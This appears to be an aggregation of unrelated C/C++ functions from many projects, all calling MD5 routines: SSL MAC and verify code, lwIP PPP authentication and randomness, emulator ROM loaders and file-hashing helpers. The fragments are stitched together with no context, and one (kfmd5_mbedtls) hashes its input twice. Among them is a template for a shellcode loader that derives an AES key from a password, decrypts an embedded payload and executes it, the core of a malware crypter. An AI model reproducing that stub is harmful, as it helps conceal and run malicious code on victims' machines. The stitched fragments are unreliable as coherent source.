/* * SSLv3.0 MAC functions */ static void ssl_mac_md5(uint8_t *secret, uint8_t *buf, size_t len, uint8_t *ctr, int type) { uint8_t header[11]; uint8_t padding[48]; md5_context md5; memcpy(header, ctr, 8); header[8] = (uint8_t)type; header[9] = (uint8_t)(len >> 8); header[10] = (uint8_t)(len); memset(padding, 0x36, 48); md5_starts(&md5); md5_update(&md5, secret, 16); md5_update(&md5, padding, 48); md5_update(&md5, header, 11); md5_update(&md5, buf, len); md5_finish(&md5, buf + len); memset(padding, 0x5C, 48); md5_starts(&md5); md5_update(&md5, secret, 16); md5_update(&md5, padding, 48); md5_update(&md5, buf + len, 16); md5_finish(&md5, buf + len); }
int ssl_init( ssl_context *ssl ) { int len = SSL_BUFFER_LEN; memset( ssl, 0, sizeof( ssl_context ) ); ssl->in_ctr = (unsigned char *) malloc( len ); ssl->in_hdr = ssl->in_ctr + 8; ssl->in_msg = ssl->in_ctr + 13; if( ssl->in_ctr == NULL ){ SSL_DEBUG_MSG( 1, ( "malloc(%d bytes) failed", len ) ); return( 1 ); } ssl->out_ctr = (unsigned char *) malloc( len ); ssl->out_hdr = ssl->out_ctr + 8; ssl->out_msg = ssl->out_ctr + 13; if( ssl->out_ctr == NULL ) { SSL_DEBUG_MSG( 1, ( "malloc(%d bytes) failed", len ) ); free( ssl-> in_ctr ); return( 1 ); } memset( ssl-> in_ctr, 0, SSL_BUFFER_LEN ); memset( ssl->out_ctr, 0, SSL_BUFFER_LEN ); ssl->hostname = NULL; ssl->hostname_len = 0; md5_starts( &ssl->fin_md5 ); sha1_starts( &ssl->fin_sha1 ); return 0; }
static void GenerKey(unsigned char *pDest,unsigned char *pSorg){ struct md5_context ctx; md5_starts( &ctx ); md5_update( &ctx, (uint8 *) pSorg, strlen((char *)pSorg)); md5_finish( &ctx, pDest ); }
uint32 mhmakefileparser::CreateEnvMd5_32() const { md5_context ctx; string Md5; string EnvVars=ExpandVar(USED_ENVVARS); const char *pTmp=EnvVars.c_str(); // Now create the md5 string md5_starts( &ctx ); DBGOUT(cout << "MD5 of " << m_MakeDir->GetQuotedFullFileName() << endl); while (*pTmp) { string Var; pTmp=NextItem(pTmp,Var,";"); if (!SkipVar(Var)) { string Val=ExpandVar(Var); transform(Val.begin(),Val.end(),Val.begin(),(int(__CDECL *)(int))toupper); DBGOUT(cout << GetMakeDir()->GetQuotedFullFileName() << " -> Setting GetFromEnv var " << Var << " to " << Val << endl); md5_update( &ctx, (uint8 *) Var.c_str(), (unsigned long)Var.size()); md5_update( &ctx, (uint8 *) "=", 1); md5_update( &ctx, (uint8 *) Val.c_str(), (unsigned long)Val.size()); } } return md5_finish32( &ctx); }
char *get_icon_id( const char *const icon , size_t *size ) { size_t bytes_read; md5_context md5ctx; char md5tmp[20]; size_t iconsize = 0; char *iconid = NULL; uint8_t buffer[1024]; FILE *iconfile = fopen(icon, "rb"); if (iconfile) { fseek(iconfile, 0, SEEK_END); iconsize = ftell(iconfile); fseek(iconfile, 0, SEEK_SET); memset(md5tmp, 0, sizeof(md5tmp)); md5_starts(&md5ctx); while (!feof(iconfile)) { bytes_read = fread(buffer, 1, 1024, iconfile); if (bytes_read) md5_update(&md5ctx, buffer, bytes_read); } fseek(iconfile, 0, SEEK_SET); md5_finish(&md5ctx, md5tmp); iconid = string_to_hex_alloc(md5tmp, 16); fclose(iconfile); *size = iconsize; return iconid; } return NULL; }
static int chap_md5_verify_response(int id, char *name, unsigned char *secret, int secret_len, unsigned char *challenge, unsigned char *response, char *message, int message_space) { md5_context ctx; unsigned char idbyte = id; unsigned char hash[MD5_HASH_SIZE]; int challenge_len, response_len; LWIP_UNUSED_ARG(name); challenge_len = *challenge++; response_len = *response++; if (response_len == MD5_HASH_SIZE) { /* Generate hash of ID, secret, challenge */ md5_starts(&ctx); md5_update(&ctx, &idbyte, 1); md5_update(&ctx, secret, secret_len); md5_update(&ctx, challenge, challenge_len); md5_finish(&ctx, hash); /* Test if our hash matches the peer's response */ if (memcmp(hash, response, MD5_HASH_SIZE) == 0) { ppp_slprintf(message, message_space, "Access granted"); return 1; } } ppp_slprintf(message, message_space, "Access denied"); return 0; }
bool CalFileMd5(wchar_t const* lName,char *md5) { AutoFILE f; md5_context m; md5_starts(&m); unsigned char buf[FileSizeOnDraw+1]; if((f=OpenFile(lName,L"rb"))!=NULL) { int nRead; do { nRead=fread(buf,sizeof(char),FileSizeOnDraw,f); md5_update(&m, buf,nRead); } while(nRead==FileSizeOnDraw); } else { md5[0] = 0; return TRUE; } unsigned char md5sum[16]; md5_finish(&m, md5sum); for (int i = 0; i < 16; i++) sprintf(md5 + i*2, "%02x", md5sum[i]); md5[32] = '\0'; return TRUE; }
int main(int argc, char **argv){ unsigned char key[16]; unsigned char iv[16] = %s; unsigned char input[] = %s; size_t input_len = %d; unsigned char output[%d]; unsigned char passw[] = "%s"; size_t in_len = %d; /* Generate a 128 bits key from the password */ md5_context md5_ctx; md5_starts(&md5_ctx); md5_update(&md5_ctx, passw, in_len); md5_finish(&md5_ctx, key); /* Decrypt the payload */ aes_context aes; aes_setkey_dec(&aes, key, 128); aes_crypt_cbc(&aes, AES_DECRYPT, input_len, iv, input, output); /* Execute decrypted shellcode */ ((void (*)()) output)(); return 0; }
CryptoMd5 crypto_md5_init(void) { CryptoMd5 md5 = xmalloc(sizeof(*md5)); md5_starts(&md5->ctx); return md5; }
int Read_UpdateBin_toCheck(INT8U *md5) { int i = 0; int len_left = 512; { md5_starts( &ctx_rc ); for(i = 0; i < soft_len; i += len_left) { if( i + len_left > soft_len) len_left = soft_len - i; FlashBufferRead((u8*)temp, zone_soft +i, len_left);//成功读出512个字节 md5_update( &ctx_rc, temp, len_left); } md5_finish( &ctx_rc, md5_check ); memset( &ctx_rc, 0, sizeof( md5_context ) ); } for(i = 0; i < 16; i++) { if(md5_check[i] != *(md5 + i)) { return 0; } } return 1; }
static void checksum(unsigned char * dest, unsigned const char * src, u32 len, int checksum_num) { static unsigned char extradata[][64] = {{ 0x41,0x47,0xc8,0x09, 0xba,0x3c,0x99,0x6a, 0xda,0x09,0x9a,0x0f, 0xc0,0xd3,0x47,0xca, 0xd1,0x95,0x81,0x19, 0xab,0x17,0xc6,0x5f, 0xad,0xea,0xe5,0x75, 0x9c,0x49,0x18,0xa5, 0xdf,0x35,0x46,0x5b, 0x78,0x0e,0xcb,0xc7, 0x8c,0x3e,0xf4,0x90, 0xa2,0xb7,0x8e,0x00, 0x53,0x8d,0x4c,0xab, 0x13,0xa5,0x16,0x00, 0xff,0xb8,0x4b,0x20, 0x29,0x22,0x9d,0xee, }, { 0xda,0x76,0x5c,0xd4, 0x34,0xc3,0xd7,0x2c, 0xac,0x40,0xb8,0xd8, 0x59,0xbc,0x59,0x34, 0xaa,0xbf,0x89,0xbd, 0x85,0xe8,0x40,0x27, 0x78,0x2b,0x18,0x6e, 0xa6,0x6e,0x5a,0xc6, 0xda,0xe3,0x86,0x84, 0x40,0x14,0x2a,0x23, 0x4f,0x5d,0x38,0x5e, 0x7f,0xd9,0x73,0x7d, 0xe4,0x80,0x3d,0x21, 0x28,0x41,0xf1,0xb2, 0x96,0x43,0x2b,0xcc, 0x0c,0x9d,0x26,0xb9, }}; md5_context c; md5_starts(&c); md5_update(&c, src, len); md5_update(&c, extradata[checksum_num], sizeof extradata[checksum_num]); md5_finish(&c, dest); }
/* * Churn the randomness pool on a random event. Call this early and often * on random and semi-random system events to build randomness in time for * usage. For randomly timed events, pass a null pointer and a zero length * and this will use the system timer and other sources to add randomness. * If new random data is available, pass a pointer to that and it will be * included. * * Ref: Applied Cryptography 2nd Ed. by Bruce Schneier p. 427 */ static void magic_churnrand(char *rand_data, u32_t rand_len) { md5_context md5_ctx; /* LWIP_DEBUGF(LOG_INFO, ("magic_churnrand: %u@%P\n", rand_len, rand_data)); */ md5_starts(&md5_ctx); md5_update(&md5_ctx, (u_char *)magic_randpool, sizeof(magic_randpool)); if (rand_data) { md5_update(&md5_ctx, (u_char *)rand_data, rand_len); } else { struct { /* INCLUDE fields for any system sources of randomness */ u32_t jiffies; #ifdef LWIP_RAND u32_t rand; #endif /* LWIP_RAND */ } sys_data; magic_randomseed += sys_jiffies(); sys_data.jiffies = magic_randomseed; #ifdef LWIP_RAND sys_data.rand = LWIP_RAND(); #endif /* LWIP_RAND */ /* Load sys_data fields here. */ md5_update(&md5_ctx, (u_char *)&sys_data, sizeof(sys_data)); } md5_finish(&md5_ctx, (u_char *)magic_randpool); /* LWIP_DEBUGF(LOG_INFO, ("magic_churnrand: -> 0\n")); */ }
char* gen_password_hash_alloc(const char* password, const char* salt) { md5_context md5ctx; char md5tmp[20]; char* md5digest; memset(md5tmp, 0, sizeof(md5tmp)); md5_starts(&md5ctx); md5_update(&md5ctx, (uint8_t*)password, (uint32_t)strlen(password)); md5_update(&md5ctx, (uint8_t*)salt, (uint32_t)strlen(salt)); md5_finish(&md5ctx, (uint8_t*)md5tmp); md5_starts(&md5ctx); md5_update(&md5ctx, (uint8_t*)md5tmp, 16); md5_finish(&md5ctx, (uint8_t*)md5tmp); md5digest = string_to_hex_alloc(md5tmp, 16); return md5digest; }
int kfmd5_mbedtls(const unsigned char *input, size_t ilen, unsigned char output[16]) { md5_context ct; md5_starts(&ct); md5_update(&ct, input, ilen); md5_update(&ct, input, ilen); md5_finish(&ct, output); return 0; }
int UNIFLoad(const char *name, FCEUFILE *fp) { FCEU_fseek(fp,0,SEEK_SET); FCEU_fread(&unhead,1,4,fp); if(memcmp(&unhead,"UNIF",4)) return 0; ResetCartMapping(); ResetExState(0,0); ResetUNIF(); if(!FCEU_read32le(&unhead.info,fp)) goto aborto; if(FCEU_fseek(fp,0x20,SEEK_SET)<0) goto aborto; if(!LoadUNIFChunks(fp)) goto aborto; { int x; struct md5_context md5; md5_starts(&md5); for(x=0;x<32;x++) if(malloced[x]) { md5_update(&md5,malloced[x],mallocedsizes[x]); } md5_finish(&md5,UNIFCart.MD5); FCEU_printf(" ROM MD5: 0x"); for(x=0;x<16;x++) FCEU_printf("%02x",UNIFCart.MD5[x]); FCEU_printf("\n"); memcpy(&GameInfo->MD5,&UNIFCart.MD5,sizeof(UNIFCart.MD5)); } if(!InitializeBoard()) goto aborto; #if !defined(GEKKO)|| !defined(_XBOX) FCEU_LoadGameSave(&UNIFCart); #endif strcpy(LoadedRomFName,name); //For the debugger list GameInterface=UNIFGI; return 1; aborto: FreeUNIF(); ResetUNIF(); return 0; }
int sceKernelUtilsMd5BlockInit(u32 ctxAddr) { DEBUG_LOG(HLE, "sceKernelUtilsMd5BlockInit(%08x)", ctxAddr); if (!Memory::IsValidAddress(ctxAddr)) return -1; // TODO: Until I know how large a context is, we just go all lazy and use a global context, // which will work just fine unless games do several MD5 concurrently. md5_starts(&md5_ctx); return 0; }
static void hmac_md5( const unsigned char *input, size_t ilen, const unsigned char *key, size_t klen, unsigned char output[MD5_DIGEST_BYTES] ) { int i; md5_context ctx; unsigned char k_ipad[64], k_opad[64], tk[MD5_DIGEST_BYTES]; /* if key is longer than 64 bytes reset it to key=MD5(key) */ if (klen > 64) { md5(key, klen, tk); key = tk; klen = MD5_DIGEST_BYTES; } /* start out by storing key in pads */ memset(k_ipad, 0, sizeof(k_ipad)); memset(k_opad, 0, sizeof(k_opad)); memcpy(k_ipad, key, klen); memcpy(k_opad, key, klen); /*xor key with ipad and opad values */ for (i = 0; i < 64; i++) { k_ipad[i] ^= 0x36; k_opad[i] ^= 0x5c; } /* inner MD5 */ md5_starts( &ctx ); md5_update( &ctx, k_ipad, 64 ); md5_update( &ctx, input, ilen ); md5_finish( &ctx, output ); /* outter MD5 */ md5_starts( &ctx ); md5_update( &ctx, k_opad, 64 ); md5_update( &ctx, output, MD5_DIGEST_BYTES ); md5_finish( &ctx, output ); memset( &ctx, 0, sizeof( md5_context ) ); }
int UNIFLoad(const char *name, int fp) { FCEU_fseek(fp,0,SEEK_SET); FCEU_fread(&unhead,1,4,fp); if(memcmp(&unhead,"UNIF",4)) return 0; ResetCartMapping(); ResetExState(0,0); ResetUNIF(); if(!FCEU_read32(&unhead.info,fp)) goto aborto; if(FCEU_fseek(fp,0x20,SEEK_SET)<0) goto aborto; if(!LoadUNIFChunks(fp)) goto aborto; { int x; struct md5_context md5; md5_starts(&md5); for(x=0;x<32;x++) if(malloced[x]) { md5_update(&md5,malloced[x],mallocedsizes[x]); } md5_finish(&md5,UNIFCart.MD5); FCEU_printf(" ROM MD5: 0x"); for(x=0;x<16;x++) FCEU_printf("%02x",UNIFCart.MD5[x]); FCEU_printf("\n"); memcpy(FCEUGameInfo.MD5,UNIFCart.MD5,sizeof(UNIFCart.MD5)); } if(!InitializeBoard()) goto aborto; FCEU_LoadGameSave(&UNIFCart); GameInterface=UNIFGI; return 1; aborto: FreeUNIF(); ResetUNIF(); return 0; }
//Parse args and initialize config int load_args(int argc, char **argv, ServerConfig &config) { option longopts[] = { { "help" , 0, 0, 'h'}, { "port" , 1, 0, 'p'}, { "password" , 1, 0, 'w'}, { "maxclients" , 1, 0, 'm'}, { "timeout" , 1, 0, 't'}, { "framedivisor", 1, 0, 'f'}, { 0 , 0, 0, 0 } }; int opt; do { opt = getopt_long(argc, argv, "hvp:w:m:t:f:c:", longopts, 0); switch (opt) { case 'h': printf(usage, argv[0]); exit(0); case 'v': printf("FCE Ultra network server version %s\n", FCEU_PROTOCOL_VERSION); exit(0); case 'p': config.port = atoi(optarg); continue; case 'w': struct md5_context md5; config.password = new uint8_t[16]; md5_starts(&md5); md5_update(&md5, (uint8_t*)optarg, strlen(optarg)); md5_finish(&md5, config.password); continue; case 'm': config.max_clients = atoi(optarg); continue; case 't': config.connect_timeout = atoi(optarg); continue; case 'f': config.frame_divisor = atoi(optarg); continue; case '?': return 0; } } while (opt != -1); return 1; }
void growl_append_md5( unsigned char *const data , const int data_length , const char *const password ) { md5_context md5ctx; char md5tmp[20]; memset(md5tmp, 0, sizeof(md5tmp)); md5_starts(&md5ctx); md5_update(&md5ctx, (uint8_t*)data, data_length ); if(password != NULL) { md5_update(&md5ctx, (uint8_t*)password, (uint32_t)strlen(password)); } md5_finish(&md5ctx, (uint8_t*)md5tmp); memcpy( data + data_length , md5tmp , 16 ); }
static int utils_md5 (lua_State *L) { unsigned char digest [16]; // get text to hash size_t textLength; const char * text = luaL_checklstring (L, 1, &textLength); md5_context ctx; md5_starts (&ctx); md5_update (&ctx, (UC *) text, textLength); md5_finish (&ctx, digest); lua_pushlstring (L, digest, sizeof digest); return 1; // number of result fields } // end of utils_md5
/* * magic_random_bytes - Fill a buffer with random bytes. * * Use the random pool to generate random data. This degrades to pseudo * random when used faster than randomness is supplied using magic_churnrand(). * Note: It's important that there be sufficient randomness in magic_randpool * before this is called for otherwise the range of the result may be * narrow enough to make a search feasible. * * Ref: Applied Cryptography 2nd Ed. by Bruce Schneier p. 427 * * XXX Why does he not just call magic_churnrand() for each block? Probably * so that you don't ever publish the seed which could possibly help * predict future values. * XXX Why don't we preserve md5 between blocks and just update it with * magic_randcount each time? Probably there is a weakness but I wish that * it was documented. */ void magic_random_bytes(unsigned char *buf, u32_t buf_len) { md5_context md5_ctx; u_char tmp[MD5_HASH_SIZE]; u32_t n; while (buf_len > 0) { md5_starts(&md5_ctx); md5_update(&md5_ctx, (u_char *)magic_randpool, sizeof(magic_randpool)); md5_update(&md5_ctx, (u_char *)&magic_randcount, sizeof(magic_randcount)); md5_finish(&md5_ctx, tmp); magic_randcount++; n = LWIP_MIN(buf_len, MD5_HASH_SIZE); MEMCPY(buf, tmp, n); buf += n; buf_len -= n; } }
/* * random_bytes - Fill a buffer with random bytes. * * Use the random pool to generate random data. This degrades to pseudo * random when used faster than randomness is supplied using magic_churnrand(). * Note: It's important that there be sufficient randomness in magic_randpool * before this is called for otherwise the range of the result may be * narrow enough to make a search feasible. * * Ref: Applied Cryptography 2nd Ed. by Bruce Schneier p. 427 * * XXX Why does he not just call magic_churnrand() for each block? Probably * so that you don't ever publish the seed which could possibly help * predict future values. * XXX Why don't we preserve md5 between blocks and just update it with * magic_randcount each time? Probably there is a weakness but I wish that * it was documented. */ void random_bytes(unsigned char *buf, u32_t buf_len) { md5_context md5; u_char tmp[16]; u32_t n; while (buf_len > 0) { n = LWIP_MIN(buf_len, MAGIC_RANDPOOLSIZE); md5_starts(&md5); md5_update(&md5, (u_char *)magic_randpool, sizeof(magic_randpool)); md5_update(&md5, (u_char *)&magic_randcount, sizeof(magic_randcount)); md5_finish(&md5, tmp); magic_randcount++; MEMCPY(buf, tmp, n); buf += n; buf_len -= n; } }
wxString FbImportBook::CalcMd5(wxInputStream& stream) { const size_t BUFSIZE = 1024; unsigned char buf[BUFSIZE]; md5_context md5; md5_starts( &md5 ); bool eof; do { size_t len = stream.Read(buf, BUFSIZE).LastRead(); eof = (len < BUFSIZE); md5_update( &md5, buf, (int) len ); } while (!eof); return Md5(md5); }
static void chap_md5_make_response(ppp_pcb *pcb, unsigned char *response, int id, const char *our_name, const unsigned char *challenge, const char *secret, int secret_len, unsigned char *private_) { md5_context ctx; unsigned char idbyte = id; int challenge_len = *challenge++; LWIP_UNUSED_ARG(our_name); LWIP_UNUSED_ARG(private_); LWIP_UNUSED_ARG(pcb); md5_starts(&ctx); md5_update(&ctx, &idbyte, 1); md5_update(&ctx, (const u_char *)secret, secret_len); md5_update(&ctx, challenge, challenge_len); md5_finish(&ctx, &response[1]); response[0] = MD5_HASH_SIZE; }
void ssl_calc_verify(ssl_context * ssl, uint8_t hash[36]) { md5_context md5; sha1_context sha1; uint8_t pad_1[48]; uint8_t pad_2[48]; SSL_DEBUG_MSG(2, ("=> calc verify")); memcpy(&md5, &ssl->fin_md5, sizeof(md5_context)); memcpy(&sha1, &ssl->fin_sha1, sizeof(sha1_context)); if (ssl->minor_ver == SSL_MINOR_VERSION_0) { memset(pad_1, 0x36, 48); memset(pad_2, 0x5C, 48); md5_update(&md5, ssl->session->master, 48); md5_update(&md5, pad_1, 48); md5_finish(&md5, hash); md5_starts(&md5); md5_update(&md5, ssl->session->master, 48); md5_update(&md5, pad_2, 48); md5_update(&md5, hash, 16); md5_finish(&md5, hash); sha1_update(&sha1, ssl->session->master, 48); sha1_update(&sha1, pad_1, 40); sha1_finish(&sha1, hash + 16); sha1_starts(&sha1); sha1_update(&sha1, ssl->session->master, 48); sha1_update(&sha1, pad_2, 40); sha1_update(&sha1, hash + 16, 20); sha1_finish(&sha1, hash + 16); } else { /* TLSv1 */ md5_finish(&md5, hash); sha1_finish(&sha1, hash + 16); } SSL_DEBUG_BUF(3, "calculated verify result", hash, 36); SSL_DEBUG_MSG(2, ("<= calc verify")); return; }
void Client::getResponse(int chrespnum, char *secretkey, char *out, int dstlen) { md5_context md5t; const static char hex[] = "0123456789abcdef"; unsigned char md5h[16]; int i; unsigned char data[33]; int len; len = sprintf_s((char *)data,sizeof(data),"%d%s",chrespnum,secretkey); md5_starts(&md5t); md5_update(&md5t, data, len); md5_finish(&md5t, md5h); for(i = 0; i < 16; i++) { *out++ = hex[md5h[i] >> 4]; *out++ = hex[md5h[i] & 15]; } *out = 0; }
/* * Churn the randomness pool on a random event. Call this early and often * on random and semi-random system events to build randomness in time for * usage. For randomly timed events, pass a null pointer and a zero length * and this will use the system timer and other sources to add randomness. * If new random data is available, pass a pointer to that and it will be * included. * * Ref: Applied Cryptography 2nd Ed. by Bruce Schneier p. 427 */ void magic_churnrand(char *rand_data, u32_t rand_len) { md5_context md5; /* LWIP_DEBUGF(LOG_INFO, ("magic_churnrand: %u@%P\n", rand_len, rand_data)); */ md5_starts(&md5); md5_update(&md5, (u_char *)magic_randpool, sizeof(magic_randpool)); if (rand_data) { md5_update(&md5, (u_char *)rand_data, rand_len); } else { struct { /* INCLUDE fields for any system sources of randomness */ u32_t jiffies; } sys_data; sys_data.jiffies = sys_jiffies(); /* Load sys_data fields here. */ md5_update(&md5, (u_char *)&sys_data, sizeof(sys_data)); } md5_finish(&md5, (u_char *)magic_randpool); /* LWIP_DEBUGF(LOG_INFO, ("magic_churnrand: -> 0\n")); */ }
MD5Map createMD5Sums(int files, const char * const *filenames) { MD5Map result; while (files--) { const char *inputFile = *filenames++; FILE *input = fopen(inputFile, "rb"); uint32 size = fileSize(input); fseek(input, 0, SEEK_SET); byte *buffer = new uint8[size]; assert(buffer); if (fread(buffer, 1, size, input) != size) { warning("couldn't read from file '%s', skipping it", inputFile); delete[] buffer; fclose(input); continue; } fclose(input); md5_context ctx; uint8 digest[16]; char md5Str[33]; md5_starts(&ctx); md5_update(&ctx, buffer, size); md5_finish(&ctx, digest); for (int j = 0; j < 16; ++j) sprintf(md5Str + j*2, "%02x", (int)digest[j]); delete[] buffer; result[md5Str] = inputFile; } return result; }
uint64_t CalcOldStyleID(unsigned arg_num_axes, unsigned arg_num_balls, unsigned arg_num_hats, unsigned arg_num_buttons) { uint8 digest[16]; int tohash[4]; md5_context hashie; uint64_t ret = 0; tohash[0] = arg_num_axes; tohash[1] = arg_num_balls; tohash[2] = arg_num_hats; tohash[3] = arg_num_buttons; md5_starts(&hashie); md5_update(&hashie, (uint8 *)tohash, sizeof(tohash)); md5_finish(&hashie, digest); int x; for(x = 0; x < 16; x++) { ret ^= (uint64_t)digest[x] << ((x & 7) * 8); } return ret; }